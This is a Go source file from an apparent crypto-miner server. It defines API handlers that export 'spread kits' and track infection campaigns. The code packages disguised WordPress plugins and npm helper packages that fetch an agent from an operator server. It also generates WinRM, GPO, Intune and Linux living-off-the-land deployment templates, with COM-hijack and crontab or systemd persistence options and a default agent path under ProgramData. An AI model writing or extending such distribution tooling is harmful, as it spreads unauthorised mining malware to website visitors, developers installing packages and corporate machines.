Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Unified expandable panels with mermaid flows, ZIP export, connection tests, and Playwright smoke coverage.
439 lines
13 KiB
Go
439 lines
13 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/erasure"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
|
type SpreadHandler struct {
|
|
db *dbpkg.Database
|
|
dataDir string
|
|
projectRoot string
|
|
wsHub *WSHub
|
|
publicURL func() string
|
|
erasureShards *erasure.ShardStore
|
|
deployPlan *DeployPlanHandler
|
|
s3CRRConfigFn func() erasure.S3ShardConfig
|
|
notesMu sync.RWMutex
|
|
}
|
|
|
|
func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
|
|
if h != nil {
|
|
h.erasureShards = store
|
|
}
|
|
}
|
|
|
|
func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) {
|
|
if h != nil {
|
|
h.deployPlan = handler
|
|
}
|
|
}
|
|
|
|
func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) {
|
|
if h != nil {
|
|
h.s3CRRConfigFn = fn
|
|
}
|
|
}
|
|
|
|
// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls).
|
|
func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) {
|
|
if h == nil || h.s3CRRConfigFn == nil {
|
|
http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn())
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"template": "templates/spread/aws/s3-crr-rule.json",
|
|
"rule": doc,
|
|
"notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/",
|
|
})
|
|
}
|
|
|
|
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
|
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
|
|
}
|
|
|
|
func (h *SpreadHandler) notesPath() string {
|
|
return filepath.Join(h.dataDir, "emberwake-notes.json")
|
|
}
|
|
|
|
type emberwakeNotes struct {
|
|
Content string `json:"content"`
|
|
UpdatedAt string `json:"updated_at"`
|
|
UpdatedBy string `json:"updated_by"`
|
|
}
|
|
|
|
func (h *SpreadHandler) readNotes() emberwakeNotes {
|
|
h.notesMu.RLock()
|
|
defer h.notesMu.RUnlock()
|
|
data, err := os.ReadFile(h.notesPath())
|
|
if err != nil {
|
|
return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
|
|
}
|
|
var n emberwakeNotes
|
|
if json.Unmarshal(data, &n) != nil {
|
|
return emberwakeNotes{}
|
|
}
|
|
return n
|
|
}
|
|
|
|
func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
|
|
h.notesMu.Lock()
|
|
defer h.notesMu.Unlock()
|
|
data, err := json.MarshalIndent(n, "", " ")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(h.notesPath(), data, 0644)
|
|
}
|
|
|
|
// GET /api/v1/emberwake/notes
|
|
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
|
|
writeJSON(w, h.readNotes())
|
|
}
|
|
|
|
// PUT /api/v1/emberwake/notes
|
|
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
|
|
var body struct {
|
|
Content string `json:"content"`
|
|
}
|
|
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
n := emberwakeNotes{
|
|
Content: body.Content,
|
|
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
|
UpdatedBy: AuthUsername(r),
|
|
}
|
|
if err := h.writeNotes(n); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if h.wsHub != nil {
|
|
h.wsHub.BroadcastEmberwakeNotes(n)
|
|
}
|
|
writeJSON(w, n)
|
|
}
|
|
|
|
// GET /api/v1/emberwake/campaigns
|
|
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
|
|
hits, err := h.db.ListCampaignHits(50)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if hits == nil {
|
|
hits = []dbpkg.CampaignHitSummary{}
|
|
}
|
|
writeJSON(w, map[string]interface{}{"campaigns": hits})
|
|
}
|
|
|
|
// GET /api/v1/emberwake/war-room?days=7
|
|
func (h *SpreadHandler) GetWarRoom(w http.ResponseWriter, r *http.Request) {
|
|
days := 7
|
|
if raw := strings.TrimSpace(r.URL.Query().Get("days")); raw != "" {
|
|
if n, err := strconv.Atoi(raw); err == nil && n > 0 && n <= 90 {
|
|
days = n
|
|
}
|
|
}
|
|
data, err := h.db.ListWarRoom(days)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, data)
|
|
}
|
|
|
|
type spreadKitExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
}
|
|
|
|
type wordpressPluginExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
SiteName string `json:"site_name"`
|
|
}
|
|
|
|
type npmHelperExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
}
|
|
|
|
type spreadTemplateExportRequest struct {
|
|
Template string `json:"template"` // winrm | linux-lotl | gpo | intune
|
|
ServerURL string `json:"server_url"`
|
|
BuildID string `json:"build_id"`
|
|
Campaign string `json:"campaign"`
|
|
COMHijack bool `json:"com_hijack"`
|
|
LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off
|
|
AgentPath string `json:"agent_path"`
|
|
}
|
|
|
|
// POST /api/v1/builder/spread-kit-export
|
|
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
|
|
var req spreadKitExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": req.Campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
|
"{{CAMPAIGN_QUERY}}": querySuffix,
|
|
"{{PIN_QUERY}}": "",
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
|
|
filename := "emberwake-spread-kit.zip"
|
|
if req.Campaign != "" {
|
|
filename = "emberwake-" + sanitizeExportSlug(req.Campaign) + ".zip"
|
|
}
|
|
writeZipAttachment(w, filename, data)
|
|
}
|
|
|
|
// POST /api/v1/builder/wordpress-plugin-export
|
|
func (h *SpreadHandler) ExportWordPressPlugin(w http.ResponseWriter, r *http.Request) {
|
|
var req wordpressPluginExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
req.SiteName = strings.TrimSpace(req.SiteName)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.SiteName == "" {
|
|
http.Error(w, "site_name required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "wordpress-plugin", "plugin-template")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "wordpress plugin templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
slug := sanitizeExportSlug(req.SiteName)
|
|
wpCampaign := "wp-" + slug
|
|
downloadURL := req.ServerURL + "/get?c=" + wpCampaign
|
|
if req.BuildID != "" {
|
|
downloadURL += "&pin=" + req.BuildID
|
|
}
|
|
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": wpCampaign,
|
|
"{{SITE_NAME}}": slug,
|
|
"{{PLUGIN_SLUG}}": slug,
|
|
"{{PLUGIN_NAME}}": slugDisplayName(slug),
|
|
"{{WP_CAMPAIGN}}": wpCampaign,
|
|
"{{DOWNLOAD_URL}}": downloadURL,
|
|
"{{VERSION}}": "1.0.0",
|
|
}
|
|
|
|
remap := func(rel string) string {
|
|
rel = filepath.ToSlash(rel)
|
|
if rel == "plugin.php" {
|
|
return slug + "/" + slug + ".php"
|
|
}
|
|
return slug + "/" + rel
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, remap)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, slug+"-wordpress-plugin.zip", data)
|
|
}
|
|
|
|
// POST /api/v1/builder/npm-helper-export
|
|
func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request) {
|
|
var req npmHelperExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Campaign == "" {
|
|
req.Campaign = "npm-helper"
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "npm-helper-package")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "npm helper templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
querySuffix, _ := buildQuerySuffix(req.BuildID, req.Campaign)
|
|
pkgName := "@aetherforge/" + sanitizeExportSlug(req.Campaign) + "-helper"
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": req.Campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{PACKAGE_NAME}}": pkgName,
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
|
|
}
|
|
|
|
// POST /api/v1/builder/spread-template-export
|
|
func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) {
|
|
var req spreadTemplateExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.Template = strings.TrimSpace(strings.ToLower(req.Template))
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
req.LOTLMode = strings.TrimSpace(req.LOTLMode)
|
|
req.AgentPath = strings.TrimSpace(req.AgentPath)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Template == "" {
|
|
http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
subdir, filename, err := spreadTemplatePaths(req.Template)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "spread template not found: "+subdir, http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
|
comHijack := "false"
|
|
if req.COMHijack {
|
|
comHijack = "true"
|
|
}
|
|
lotlMode := req.LOTLMode
|
|
if lotlMode == "" {
|
|
lotlMode = "systemd_run_user"
|
|
}
|
|
agentPath := req.AgentPath
|
|
if agentPath == "" {
|
|
agentPath = `C:\ProgramData\AetherForge\worker.exe`
|
|
}
|
|
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": req.Campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
|
"{{COM_HIJACK}}": comHijack,
|
|
"{{LOTL_MODE}}": lotlMode,
|
|
"{{AGENT_PATH}}": agentPath,
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, filename, data)
|
|
}
|
|
|
|
func spreadTemplatePaths(template string) (subdir, zipName string, err error) {
|
|
switch template {
|
|
case "winrm":
|
|
return "winrm", "aetherforge-winrm-bootstrap.zip", nil
|
|
case "linux-lotl", "linux_lotl":
|
|
return "linux", "aetherforge-linux-lotl.zip", nil
|
|
case "gpo", "enterprise-gpo":
|
|
return "enterprise", "aetherforge-gpo-startup.zip", nil
|
|
case "intune", "enterprise-intune":
|
|
return "enterprise", "aetherforge-intune-startup.zip", nil
|
|
default:
|
|
return "", "", fmt.Errorf("unknown template %q", template)
|
|
}
|
|
}
|
|
|
|
// PUT /api/v1/builds/{id}/public
|
|
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
var body struct {
|
|
Public bool `json:"public"`
|
|
}
|
|
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
|
|
}
|